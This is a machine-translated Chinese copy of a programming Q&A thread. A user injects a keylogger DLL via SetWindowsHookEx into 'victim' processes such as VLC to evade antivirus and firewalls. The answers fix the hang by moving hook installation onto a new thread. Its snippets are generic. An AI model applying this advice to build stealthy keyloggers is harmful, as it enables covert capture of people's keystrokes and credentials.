C++ 使用注入的DLL代码(SetWindowsHookEx)干扰Win32消息循环

C++ 使用注入的DLL代码(SetWindowsHookEx)干扰Win32消息循环,c++,c,dll,winapi,code-injection,C++,C,Dll,Winapi,Code Injection,大家好 经过几个小时的谷歌搜索,我终于来到了这里。我将直截了当地说:我将“刷新”我的C/C++技能,并再次获得非托管世界的经验。作为一项“基本”任务,我开发了一个小键盘记录器(这只是WindowsAPI的几行代码),但现在我想用一个“隐形”功能来扩展它。因此,我将代码放入Win32 DLL中。您会注意到,其中有一个非常有问题的部分: MSG msg; BOOL bRet; while( (bRet = GetMessage( &msg, NULL, 0, 0 )) != 0)

大家好

经过几个小时的谷歌搜索,我终于来到了这里。我将直截了当地说:我将“刷新”我的C/C++技能,并再次获得非托管世界的经验。作为一项“基本”任务,我开发了一个小键盘记录器(这只是WindowsAPI的几行代码),但现在我想用一个“隐形”功能来扩展它。因此,我将代码放入Win32 DLL中。您会注意到,其中有一个非常有问题的部分:

  MSG msg;
 BOOL bRet;

 while( (bRet = GetMessage( &msg, NULL, 0, 0 )) != 0)
 { 
  if (bRet == -1)
  {
   return FALSE;
  }
  else
  {
   TranslateMessage(&msg); 
   DispatchMessage(&msg); 
  }
 }
是的,这是一个普通的消息循环-这在我的情况下会造成麻烦。我将这个DLL注入一个“受害者”可执行文件(例如VLC媒体播放器)来愚弄AV/应用程序防火墙,到目前为止,它工作正常,注入本身可以完美地通过。现在出现了大问题,但是:当然,无休止的while循环现在冻结了整个目标应用程序(没有它,我的钩子回调永远不会执行),这并不是真正计划好的。。。在浏览了一半的MSDN库并尝试了谷歌给我的很多“解决方案”之后;我放弃了

甚至可以评估“受害者”进程的消息循环,而不阻塞它自己的业务,但提供我的键盘挂钩回调来工作吗

诚挚的,
尼法利斯

你不应该在那里有一个消息循环。您正在注入的应用程序已经有一个消息循环(除非它是一个控制台应用程序,它无论如何都不会处理消息)。当主机的消息循环按正常方式处理其消息时,让钩子完成它的工作。

好的,首先,你在dll入口点函数中做的太多了。首先,这是直接来自MSDN的“在DLL入口点中可以做的事情有严重的限制”。此外,在dll入口点中,加载程序锁保持不变,因此无法加载/卸载其他库。因此,当您在DLL入口点中运行消息循环(通过调用InstallHook())时,您实际上是在向自行车轮辐扔棍子,可以这么说

现在有了这些,让它工作起来就很简单了。加载DLL后,在InstallHook上创建一个新线程,您就可以开始了。现在,您的消息循环将位于它自己的线程和它自己的消息队列中(或者至少应该是这样,windows消息传递仍然有点让我困惑)


它这样做是将所有目标或只是VLC?我得到“未知粘贴ID,它可能已过期或已被删除!”当试图查看pastebin代码。只是尝试了PuTTY,Thunderbird,无法注入到Windows计算器,WinRAR崩溃,记事本++崩溃。。。但是,在我使用process/task-manager杀死它们之前,它们都会登录到指定的文件。对不起,我的错误。我更正了pastebin链接。“将代码注入另一个进程的三种方法”我alerady在没有循环的情况下尝试了它,但是我遇到了一个问题,我的回调函数从未执行过。我也有同样的问题。SetWindowsHookEx()返回0,但回调函数根本不会执行。有什么原因吗?啊,你知道吗?我已经用一个单独的线程进行了尝试,但我只在其中放入了消息循环,并在DllMain函数调用中保留了SetWindowsHookEx()。非常感谢你,我浪费了很多时间在这个小细节上。
case DLL_PROCESS_ATTACH:
  CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)InstallHook, (void*)NULL, 0, NULL );